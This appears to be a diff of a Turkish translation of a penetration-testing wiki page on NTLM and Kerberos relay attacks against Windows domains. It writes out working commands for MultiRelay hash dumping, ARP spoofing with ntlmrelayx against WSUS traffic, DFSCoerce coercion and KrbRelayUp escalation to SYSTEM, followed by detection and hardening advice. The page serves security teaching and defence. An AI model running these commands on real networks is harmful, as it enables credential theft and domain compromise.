Inveigh, Windows sistemleri için tasarlanmış bir penetrasyon test cihazı ve kırmızı takım aracı. Responder ile benzer işlevsellikler sunarak taklit etme ve adam ortada saldırıları gerçekleştirmektedir. Araç, bir PowerShell betiğinden C# ikili dosyasına evrilmiştir ve [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) ve [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) ana sürümleridir. Ayrıntılı parametreler ve talimatlar [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) sayfasında bulunabilir.
|
Inveigh, Windows sistemleri için tasarlanmış penetration testers ve red teamers için bir araçtır. Responder'a benzer işlevsellikler sunar; spoofing ve man-in-the-middle saldırıları gerçekleştirir. Araç, bir PowerShell betiğinden C# ikili dosyasına doğru evrilmiştir; ana sürümleri [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) ve [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) şeklindedir. Ayrıntılı parametreler ve talimatlar [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) sayfasında bulunabilir.
|
||||||
|
|
||||||
Inveigh, PowerShell üzerinden çalıştırılabilir:
|
Inveigh, PowerShell üzerinden çalıştırılabilir:
|
||||||
```bash
|
```bash
|
||||||
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||||||
```
|
```
|
||||||
C# ikili dosyası olarak da çalıştırılabilir:
|
Veya C# binary olarak çalıştırıldığında:
|
||||||
```bash
|
```bash
|
||||||
Inveigh.exe
|
Inveigh.exe
|
||||||
```
|
```
|
||||||
### NTLM Relay Attack
|
### NTLM Relay Attack
|
||||||
|
|
||||||
Bu saldırı, hedef bir makineye erişmek için SMB kimlik doğrulama oturumlarını kullanır ve başarılı olursa bir sistem kabuğu sağlar. Ana gereksinimler şunlardır:
|
Bu saldırı, SMB kimlik doğrulama oturumlarını hedef makineye erişmek için kullanır ve başarılı olursa bir sistem kabuğu sağlar. Temel önkoşullar şunlardır:
|
||||||
|
|
||||||
- Kimlik doğrulayan kullanıcının, yönlendirilmiş ana makinede Yerel Yönetici erişimine sahip olması gerekir.
|
- Kimlik doğrulayan kullanıcının relayed host üzerinde Local Admin erişimine sahip olması gerekir.
|
||||||
- SMB imzalama devre dışı bırakılmalıdır.
|
- SMB signing devre dışı bırakılmalıdır.
|
||||||
|
|
||||||
#### 445 Port Yönlendirme ve Tünelleme
|
#### 445 Port Yönlendirme ve Tünelleme
|
||||||
|
|
||||||
Doğrudan ağ tanıtımının mümkün olmadığı senaryolarda, 445 numaralı porttaki trafik yönlendirilip tünellenmelidir. [**PortBender**](https://github.com/praetorian-inc/PortBender) gibi araçlar, yerel yönetici erişimi mevcut olduğunda sürücü yükleme için gerekli olan 445 numaralı port trafiğini başka bir porta yönlendirmeye yardımcı olur.
|
Doğrudan ağ erişiminin mümkün olmadığı senaryolarda, 445 portundaki trafik yönlendirilmeli ve tünellenmelidir. [**PortBender**](https://github.com/praetorian-inc/PortBender) gibi araçlar, 445 trafiğini başka bir porta yönlendirmede yardımcı olur; bu, sürücü yüklemek için Local Admin erişimi mevcut olduğunda önemlidir.
|
||||||
|
|
||||||
PortBender kurulumu ve Cobalt Strike'daki çalışması:
|
PortBender kurulumu ve Cobalt Strike içinde çalıştırılması:
|
||||||
```bash
|
```bash
|
||||||
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
||||||
|
|
||||||
@ -87,17 +87,17 @@ beacon> jobkill 0
|
|||||||
beacon> rportfwd stop 8445
|
beacon> rportfwd stop 8445
|
||||||
beacon> socks stop
|
beacon> socks stop
|
||||||
```
|
```
|
||||||
### NTLM Relay Saldırısı için Diğer Araçlar
|
### NTLM Relay Attack için Diğer Araçlar
|
||||||
|
|
||||||
- **Metasploit**: Proxiler, yerel ve uzak ana bilgisayar ayrıntıları ile yapılandırılmıştır.
|
- **Metasploit**: proxylerle ve yerel ile uzak host detaylarıyla yapılandırılır.
|
||||||
- **smbrelayx**: SMB oturumlarını iletmek ve komutları çalıştırmak veya arka kapılar dağıtmak için bir Python betiği.
|
- **smbrelayx**: SMB oturumlarını relay etmek ve komutlar yürütmek veya backdoors dağıtmak için bir Python scripti.
|
||||||
- **MultiRelay**: Belirli kullanıcıları veya tüm kullanıcıları iletmek, komutları çalıştırmak veya hash'leri dökmek için Responder paketinden bir araç.
|
- **MultiRelay**: belirli kullanıcıları veya tüm kullanıcıları relay etmek, komut çalıştırmak veya hash'leri dump etmek için Responder suite'inden bir araç.
|
||||||
|
|
||||||
Her araç, gerekirse bir SOCKS proxy üzerinden çalışacak şekilde yapılandırılabilir, dolaylı ağ erişimi ile bile saldırılara olanak tanır.
|
Gerekirse her araç SOCKS proxy üzerinden çalışacak şekilde yapılandırılabilir; bu, dolaylı ağ erişimi olsa bile saldırıları mümkün kılar.
|
||||||
|
|
||||||
### MultiRelay İşlemi
|
### MultiRelay İşleyişi
|
||||||
|
|
||||||
MultiRelay, belirli IP'leri veya kullanıcıları hedef alarak _**/usr/share/responder/tools**_ dizininden çalıştırılır.
|
MultiRelay _**/usr/share/responder/tools**_ dizininden çalıştırılır; belirli IP'leri veya kullanıcıları hedef alır.
|
||||||
```bash
|
```bash
|
||||||
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
||||||
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
||||||
@ -105,77 +105,139 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
|||||||
|
|
||||||
# Proxychains for routing traffic
|
# Proxychains for routing traffic
|
||||||
```
|
```
|
||||||
Bu araçlar ve teknikler, çeşitli ağ ortamlarında NTLM Relay saldırıları gerçekleştirmek için kapsamlı bir set oluşturur.
|
These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.
|
||||||
|
|
||||||
### NTLM Girişlerini Zorla
|
### WSUS HTTP (8530) kullanarak NTLM Relay ile LDAP/SMB/AD CS (ESC8) kötüye kullanımı
|
||||||
|
|
||||||
|
WSUS client'ları update server'a NTLM üzerinden HTTP (8530) veya HTTPS (8531) ile kimlik doğrulaması yapar. HTTP etkinse, periyodik client check-in'leri lokal segmentte zorlanabilir veya yakalanıp ntlmrelayx ile LDAP/LDAPS/SMB veya AD CS HTTP uç noktalarına (ESC8) hash kırmadan relay edilebilir. Bu normal update trafiğine karışır ve sıklıkla makine hesabı kimlik doğrulamalarını (HOST$) getirir.
|
||||||
|
|
||||||
|
Neye bakmalı
|
||||||
|
- GPO/registry konfigürasyonu HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate ve ...\WindowsUpdate\AU altında:
|
||||||
|
- WUServer (ör. http://wsus.domain.local:8530)
|
||||||
|
- WUStatusServer (raporlama URL'si)
|
||||||
|
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
|
||||||
|
- DetectionFrequencyEnabled ve DetectionFrequency (saat)
|
||||||
|
- Client'lar tarafından HTTP üzerinden kullanılan WSUS SOAP uç noktaları:
|
||||||
|
- /ClientWebService/client.asmx (onaylar)
|
||||||
|
- /ReportingWebService/reportingwebservice.asmx (durum)
|
||||||
|
- Varsayılan portlar: 8530/tcp HTTP, 8531/tcp HTTPS
|
||||||
|
|
||||||
|
Keşif
|
||||||
|
- Kimlik doğrulamasız
|
||||||
|
- Listener'lar için tarama: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
|
||||||
|
- L2 MITM ile HTTP WSUS trafiğini sniffleyin ve aktif client'ları/uç noktaları wsusniff.py ile loglayın (yalnızca HTTP; client'ları TLS sertifikanıza güvenecek şekilde zorlayamazsanız).
|
||||||
|
- Kimlik doğrulamalı
|
||||||
|
- SYSVOL GPO'larını MANSPIDER + regpol ile WSUS anahtarları için parse edin (wsuspider.sh wrapper WUServer/WUStatusServer/UseWUServer özetler).
|
||||||
|
- Hostlar üzerinden veya yerelde uç noktaları ölçekli sorgulayın:
|
||||||
|
nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
|
||||||
|
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
|
||||||
|
|
||||||
|
Uçtan uca HTTP relay adımları
|
||||||
|
1) MITM pozisyonu alın (aynı L2) böylece bir client WSUS server'ı sizi çözsün (ARP/DNS poisoning, Bettercap, mitm6, vb.). arpspoof ile örnek:
|
||||||
|
arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
|
||||||
|
|
||||||
|
2) Port 8530'ı relay listener'ınıza yönlendirin (isteğe bağlı, kullanışlı):
|
||||||
|
iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
|
||||||
|
iptables -t nat -L PREROUTING --line-numbers
|
||||||
|
|
||||||
|
3) HTTP listener ile ntlmrelayx başlatın (HTTP listener için Impacket desteği gerekir; aşağıdaki PR'lara bakın):
|
||||||
|
ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
|
||||||
|
|
||||||
|
Diğer yaygın hedefler:
|
||||||
|
- Exec/dump için SMB'ye relay (signing kapalıysa): -t smb://<host>
|
||||||
|
- Directory değişiklikleri için LDAPS'ye relay (ör. RBCD): -t ldaps://<DC>
|
||||||
|
- AD CS web enrollment (ESC8) için relay edip bir sertifika mintleyip ardından Schannel/PKINIT ile kimlik doğrulama:
|
||||||
|
ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
|
||||||
|
AD CS kötüye kullanım yolları ve araçları için AD CS sayfasına bakın:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
4) Bir client check-in tetikleyin veya zamanlamayı bekleyin. Bir client'tan:
|
||||||
|
wuauclt.exe /detectnow
|
||||||
|
veya Windows Update UI'ını kullanın (Check for updates).
|
||||||
|
|
||||||
|
5) Kimlik doğrulanmış SOCKS oturumlarını kullanın (eğer -socks) veya post-exploitation için direkt relay sonuçlarını kullanın (LDAP değişiklikleri, SMB işlemleri veya daha sonra kimlik doğrulama için AD CS sertifika düzenlemesi).
|
||||||
|
|
||||||
|
HTTPS kısıtı (8531)
|
||||||
|
- WSUS HTTPS üzerinden pasif yakalama etkisizdir, client'lar sizin sertifikanıza güvenmiyorsa. Güvenilen bir sertifika veya başka bir TLS kırma yöntemi olmadan, WSUS HTTPS trafiğinden NTLM el sıkışması elde edilemez/relay edilemez.
|
||||||
|
|
||||||
|
Notlar
|
||||||
|
- WSUS deprecated ilan edildi ancak yaygın şekilde kullanılıyor; HTTP (8530) birçok ortamda hala yaygın.
|
||||||
|
- Faydalı yardımcılar: wsusniff.py (HTTP WSUS check-in'lerini gözlemleme), wsuspider.sh (GPO'lardan WUServer/WUStatusServer'ı enumerate etme), NetExec reg-query ölçekli kullanım.
|
||||||
|
- Impacket, ntlmrelayx için HTTP listener desteğini PR #2034 ile geri getirdi (ilk olarak PR #913'te eklenmişti).
|
||||||
|
|
||||||
|
### Force NTLM Logins
|
||||||
|
|
||||||
|
Windows'ta bazı ayrıcalıklı hesapları arbitrary makinelere kimlik doğrulaması yapmaya zorlayabilirsiniz. Nasıl yapıldığını öğrenmek için aşağıdaki sayfayı okuyun:
|
||||||
|
|
||||||
Windows'ta **bazı ayrıcalıklı hesapların rastgele makinelere kimlik doğrulaması yapmasını zorlayabilirsiniz**. Nasıl yapılacağını öğrenmek için aşağıdaki sayfayı okuyun:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Kerberos Relay saldırısı
|
## Kerberos Relay attack
|
||||||
|
|
||||||
Bir **Kerberos relay saldırısı**, bir hizmetten **AP-REQ bileti** çalar ve bunu **aynı bilgisayar-hesap anahtarını** paylaşan ikinci bir hizmete karşı yeniden kullanır (çünkü her iki SPN de aynı `$` makine hesabında bulunur). SPN'lerin **hizmet sınıfları farklı olsa bile** (örneğin, `CIFS/` → `LDAP/`) bu çalışır çünkü bileti şifreleyen *anahtar*, makinenin NT hash'idir, SPN dizesi değil ve SPN dizesi imzanın bir parçası değildir.
|
A Kerberos relay attack, bir AP-REQ ticket'ı bir servisten çalar ve aynı computer-account key'i paylaşan (çünkü her iki SPN de aynı `$` machine account üzerinde) ikinci bir servise yeniden kullanır. Bu, SPN'lerin service class'ları farklı olsa bile (ör. `CIFS/` → `LDAP/`) işe yarar çünkü bileti decrypt eden key makinenin NT hash'idir, SPN string'i kendisi değildir ve SPN string'i imzanın parçası değildir.
|
||||||
|
|
||||||
NTLM relay'den farklı olarak, atlama *aynı ana bilgisayar* ile sınırlıdır ancak, LDAP'a yazmanıza izin veren bir protokolü hedeflerseniz, **Kaynak Tabanlı Kısıtlı Delegasyon (RBCD)** veya **AD CS kaydı** ile zincirleme yapabilir ve tek seferde **NT AUTHORITY\SYSTEM**'ı ele geçirebilirsiniz.
|
NTLM relay'den farklı olarak, atlama aynı host ile sınırlıdır ama eğer LDAP'a yazmanıza izin veren bir protokole hedeflenirseniz, bunu Resource-Based Constrained Delegation (RBCD) veya AD CS enrollment zincirine bağlayabilir ve tek seferde **NT AUTHORITY\SYSTEM** elde edebilirsiniz.
|
||||||
|
|
||||||
Bu saldırı hakkında detaylı bilgi için kontrol edin:
|
Bu saldırı hakkında detaylı bilgi için bakın:
|
||||||
|
|
||||||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
||||||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
||||||
|
|
||||||
- 1. **Kerberos temelleri**
|
- 1. **Kerberos basics**
|
||||||
|
|
||||||
| Token | Amaç | Relay ile ilgili |
|
| Token | Amaç | Relay ile ilgisi |
|
||||||
|-------|---------|-----------------|
|
|-------|------|------------------|
|
||||||
| **TGT / AS-REQ ↔ REP** | Kullanıcıyı KDC'ye kanıtlar | dokunulmamış |
|
| **TGT / AS-REQ ↔ REP** | Kullanıcıyı KDC'ye kanıtlar | dokunulmaz |
|
||||||
| **Hizmet bileti / TGS-REQ ↔ REP** | Bir **SPN** ile sınırlıdır; SPN sahibinin anahtarı ile şifrelenmiştir | hesapları paylaşan SPN'ler için değiştirilebilir |
|
| **Service ticket / TGS-REQ ↔ REP** | Tek bir **SPN**'e bağlıdır; SPN sahibi hesabın anahtarıyla şifrelenir | aynı hesapta SPN'ler varsa değiştirilebilir |
|
||||||
| **AP-REQ** | İstemci `TGS`'yi hizmete gönderir | **çaldığımız ve yeniden oynattığımız** |
|
| **AP-REQ** | Client `TGS`'yi servise gönderir | **bizim çaldığımız ve tekrar oynattığımız şey** |
|
||||||
|
|
||||||
* Biletler, **SPN'yi sahip olan hesabın şifreden türetilen anahtarı** ile şifrelenmiştir.
|
* Biletler, SPN sahibi hesabın şifre türetilmiş anahtarı ile şifrelenir.
|
||||||
* AP-REQ içindeki **Authenticator** 5 dakikalık bir zaman damgasına sahiptir; bu penceredeki yeniden oynatma, hizmet önbelleği bir kopya gördüğünde geçerlidir.
|
* AP-REQ içindeki **Authenticator** 5 dakikalık bir zaman damgasına sahiptir; o pencere içinde replay geçerlidir, ta ki servis cache'i bir duplicate görüp reddedene kadar.
|
||||||
* Windows, biletteki SPN dizesinin vurduğunuz hizmetle eşleşip eşleşmediğini nadiren kontrol eder, bu nedenle `CIFS/HOST` için bir bilet genellikle `LDAP/HOST` üzerinde düzgün bir şekilde şifrelenir.
|
* Windows nadiren bilettin içindeki SPN string'inin gerçekten vurduğunuz servisle eşleşip eşleşmediğini kontrol eder, bu yüzden `CIFS/HOST` için bir bilet normalde `LDAP/HOST` üzerinde de düzgün decrypt edilir.
|
||||||
|
|
||||||
- 2. **Kerberos'u relay etmek için ne olmalı**
|
- 2. **Kerberos relay için ne doğru olmalı**
|
||||||
|
|
||||||
1. **Paylaşılan anahtar:** kaynak ve hedef SPN'ler aynı bilgisayar hesabına aittir (Windows sunucularında varsayılan).
|
1. **Paylaşılan anahtar:** kaynak ve hedef SPN'ler aynı computer account'a ait olmalı (Windows server'larda varsayılan).
|
||||||
2. **Kanal koruması yok:** SMB/LDAP imzalama kapalı ve HTTP/LDAPS için EPA kapalı.
|
2. **Channel protection yok:** SMB/LDAP signing kapalı ve HTTP/LDAPS için EPA kapalı.
|
||||||
3. **Kimlik doğrulamayı kesebilir veya zorlayabilirsiniz:** LLMNR/NBNS zehirleme, DNS sahtekarlığı, **PetitPotam / DFSCoerce RPC**, sahte AuthIP, sahte DCOM, vb.
|
3. **Kimlik doğrulamayı yakalayabilir veya zorlayabilirsiniz:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, sahte AuthIP, rogue DCOM, vb.
|
||||||
4. **Bilet kaynağı daha önce kullanılmamış olmalı:** gerçek paket gelmeden önce yarışı kazanırsınız veya tamamen engellersiniz; aksi takdirde sunucunun yeniden oynatma önbelleği Olay 4649'u tetikler.
|
4. **Bilet kaynağı zaten kullanılmamış olmalı:** gerçek paket ulaşmadan önce yarışı kazanmalısınız veya tamamen engellemelisiniz; aksi halde servis replay cache'i Event 4649 tetikler.
|
||||||
5. İletişimde bir **MitM gerçekleştirebilmeniz** gerekiyor, belki de alanın DNS'ini değiştirmek için DNSAmins grubunun bir parçası olmak veya kurbanın HOST dosyasını değiştirebilmek.
|
5. Bir şekilde iletişimde bir **MitM** yapabilmelisiniz — ör. domain DNS'ini değiştirme yetkiniz (DNSAmins grubu) veya kurbanın HOST dosyasını değiştirebilme gibi.
|
||||||
|
|
||||||
### Kerberos Relay Adımları
|
### Kerberos Relay Steps
|
||||||
|
|
||||||
- 3.1 **Ana bilgisayarı keşfet**
|
- 3.1 **Host keşfi**
|
||||||
```powershell
|
```powershell
|
||||||
# find servers where HTTP, LDAP or CIFS share the same machine account
|
# find servers where HTTP, LDAP or CIFS share the same machine account
|
||||||
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
||||||
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
||||||
Select Name,servicePrincipalName
|
Select Name,servicePrincipalName
|
||||||
```
|
```
|
||||||
- 3.2 **İletim dinleyicisini başlatın**
|
- 3.2 **Relay dinleyicisini başlat**
|
||||||
|
|
||||||
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
||||||
```powershell
|
```powershell
|
||||||
# one-click local SYSTEM via RBCD
|
# one-click local SYSTEM via RBCD
|
||||||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||||||
```
|
```
|
||||||
`KrbRelayUp`, **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass**'ı tek bir ikili dosyada toplar.
|
`KrbRelayUp` tek bir binary içinde **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** birleştirir.
|
||||||
|
|
||||||
- 3.3 **Kerberos kimlik doğrulamasını zorla**
|
- 3.3 **Coerce Kerberos auth**
|
||||||
```powershell
|
```powershell
|
||||||
# coerce DC to auth over SMB with DFSCoerce
|
# coerce DC to auth over SMB with DFSCoerce
|
||||||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||||||
```
|
```
|
||||||
DFSCoerce, DC'nin bize bir Kerberos `CIFS/DC01` bileti göndermesini sağlar.
|
DFSCoerce, DC'nin bize bir Kerberos `CIFS/DC01` bileti göndermesini sağlar.
|
||||||
|
|
||||||
- 3.4 **AP-REQ'yi İlet**
|
- 3.4 **Relay the AP-REQ**
|
||||||
|
|
||||||
KrbRelay, SMB'den GSS blob'unu çıkarır, bunu bir LDAP bağlama paketine yeniden yerleştirir ve `ldap://DC01`'ye iletir—kimlik doğrulama başarılıdır çünkü **aynı anahtar** bunu çözer.
|
KrbRelay, SMB'den GSS blob'unu çıkarır, bunu bir LDAP bind'e yeniden paketler ve `ldap://DC01` adresine iletir — kimlik doğrulama başarılı olur çünkü **aynı anahtar** bunu çözer.
|
||||||
|
|
||||||
- 3.5 **LDAP'ı Kötüye Kullan ➜ RBCD ➜ SYSTEM**
|
- 3.5 **Abuse LDAP ➜ RBCD ➜ SYSTEM**
|
||||||
```powershell
|
```powershell
|
||||||
# (auto inside KrbRelayUp) manual for clarity
|
# (auto inside KrbRelayUp) manual for clarity
|
||||||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
||||||
@ -186,45 +248,56 @@ SCMUACBypass.exe
|
|||||||
You now own **NT AUTHORITY\SYSTEM**.
|
You now own **NT AUTHORITY\SYSTEM**.
|
||||||
|
|
||||||
|
|
||||||
### **Daha Bilinmesi Gereken Yollar**
|
### **Bilmeniz gereken diğer yollar**
|
||||||
|
|
||||||
| Vektör | Hile | Neden Önemli |
|
| Vector | Trick | Why it matters |
|
||||||
|--------|-------|----------------|
|
|--------|-------|----------------|
|
||||||
| **AuthIP / IPSec** | Sahte sunucu, herhangi bir SPN ile **GSS-ID yükü** gönderir; istemci doğrudan size bir AP-REQ oluşturur | Alt ağlar arasında bile çalışır; makine kimlik bilgileri varsayılan olarak |
|
| **AuthIP / IPSec** | Sahte sunucu herhangi bir SPN ile bir **GSS-ID payload** gönderir; istemci doğrudan size bir AP-REQ oluşturur | Alt ağlar arasında bile çalışır; machine creds varsayılan |
|
||||||
| **DCOM / MSRPC** | Kötü niyetli OXID çözücü, istemcinin rastgele bir SPN ve porta kimlik doğrulaması yapmasını zorlar | Tamamen *yerel* ayrıcalık yükseltme; güvenlik duvarını atlar |
|
| **DCOM / MSRPC** | Kötü amaçlı OXID resolver istemciyi rastgele bir SPN ve porta auth yapmaya zorlar | Tamamen *yerel* priv-esc; firewall'ı atlar |
|
||||||
| **AD CS Web Enroll** | Makine biletini `HTTP/CA`'ya ilet ve bir sertifika al, ardından **PKINIT** ile TGT'ler oluştur | LDAP imzalama savunmalarını atlar |
|
| **AD CS Web Enroll** | Makine ticket'ini `HTTP/CA`'ya relay edip bir cert alın, sonra **PKINIT** ile TGT'ler oluşturun | LDAP signing savunmalarını atlar |
|
||||||
| **Gölge Kimlik Bilgileri** | `msDS-KeyCredentialLink` yaz, ardından sahte anahtar çifti ile PKINIT yap | Bir bilgisayar hesabı eklemeye gerek yok |
|
| **Shadow Credentials** | `msDS-KeyCredentialLink` yazın, sonra sahte anahtar çifti ile PKINIT yapın | Bilgisayar hesabı eklemeye gerek yok |
|
||||||
|
|
||||||
### **Sorun Giderme**
|
### **Sorun Giderme**
|
||||||
|
|
||||||
| Hata | Anlamı | Çözüm |
|
| Error | Meaning | Fix |
|
||||||
|-------|---------|-----|
|
|-------|---------|-----|
|
||||||
| `KRB_AP_ERR_MODIFIED` | Bilet anahtarı ≠ hedef anahtar | Yanlış host/SPN |
|
| `KRB_AP_ERR_MODIFIED` | Ticket key ≠ target key | Yanlış host/SPN |
|
||||||
| `KRB_AP_ERR_SKEW` | Saat > 5 dk kayma | Zamanı senkronize et veya `w32tm` kullan |
|
| `KRB_AP_ERR_SKEW` | Clock > 5 min offset | Zamanı senkronize edin veya `w32tm` kullanın |
|
||||||
| LDAP bağlanma hatası | İmzalama zorunlu | AD CS yolunu kullan veya imzalamayı devre dışı bırak |
|
| LDAP bind fails | Signing enforced | AD CS yolunu kullanın veya signing'i devre dışı bırakın |
|
||||||
| Olay 4649 spam | Hizmet, tekrar eden Kimlik Doğrulayıcı gördü | orijinal paketi engelle veya yarış |
|
| Event 4649 spam | Service saw duplicate Authenticator | Orijinal paketi engelleyin veya onunla yarışın |
|
||||||
|
|
||||||
|
|
||||||
### **Tespit**
|
### **Tespit**
|
||||||
|
|
||||||
* Aynı kaynaktan birkaç saniye içinde **Event 4769**'da artış.
|
* Kısa süre içinde aynı kaynaktan `CIFS/`, `HTTP/`, `LDAP/` için **Event 4769** artışı.
|
||||||
* Hizmette **Event 4649** tekrar tespit edildiğini gösterir.
|
* Serviste **Event 4649**, replay tespit edildiğini gösterir.
|
||||||
* **127.0.0.1**'den Kerberos oturumu (yerel SCM'ye iletim) oldukça şüphelidir—KrbRelayUp belgelerinde Sigma kuralı ile haritalandırın.
|
* **127.0.0.1** üzerinden Kerberos oturumu (yerel SCM'ye relay) son derece şüphelidir — KrbRelayUp dokümanlarındaki Sigma kuralıyla eşleyin.
|
||||||
* `msDS-AllowedToActOnBehalfOfOtherIdentity` veya `msDS-KeyCredentialLink` niteliklerinde değişiklikleri izleyin.
|
* `msDS-AllowedToActOnBehalfOfOtherIdentity` veya `msDS-KeyCredentialLink` özniteliklerinde yapılan değişiklikleri izleyin.
|
||||||
|
|
||||||
## **Güçlendirme**
|
## **Sertleştirme**
|
||||||
|
|
||||||
1. Her sunucuda **LDAP & SMB imzalamayı + EPA'yı** zorunlu kılın.
|
1. Her sunucuda LDAP & SMB signing + EPA'yı zorunlu kılın.
|
||||||
2. **SPN'leri ayırın** böylece HTTP, CIFS/LDAP ile aynı hesapta olmaz.
|
2. SPN'leri ayırın; böylece HTTP, CIFS/LDAP ile aynı hesapta olmasın.
|
||||||
3. Zorla yönlendirme vektörlerini yamalayın (PetitPotam KB5005413, DFS, AuthIP).
|
3. Zorlama vektörlerini yamalayın (PetitPotam KB5005413, DFS, AuthIP).
|
||||||
4. **`ms-DS-MachineAccountQuota = 0`** ayarlayarak sahte bilgisayar katılımlarını durdurun.
|
4. Kötü amaçlı bilgisayar katılımlarını durdurmak için **`ms-DS-MachineAccountQuota = 0`** olarak ayarlayın.
|
||||||
5. **Event 4649** ve beklenmedik döngü geri Kerberos oturumları için uyarı verin.
|
5. **Event 4649** ve beklenmeyen loopback Kerberos oturumları için uyarı oluşturun.
|
||||||
|
|
||||||
## Referanslar
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||||
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
||||||
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
||||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||||
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
||||||
|
- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
|
||||||
|
- [GoSecure – Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
|
||||||
|
- [Impacket PR #2034 – Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
|
||||||
|
- [Impacket PR #913 – HTTP relay support](https://github.com/fortra/impacket/pull/913)
|
||||||
|
- [WSUScripts – wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
|
||||||
|
- [WSUScripts – wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
|
||||||
|
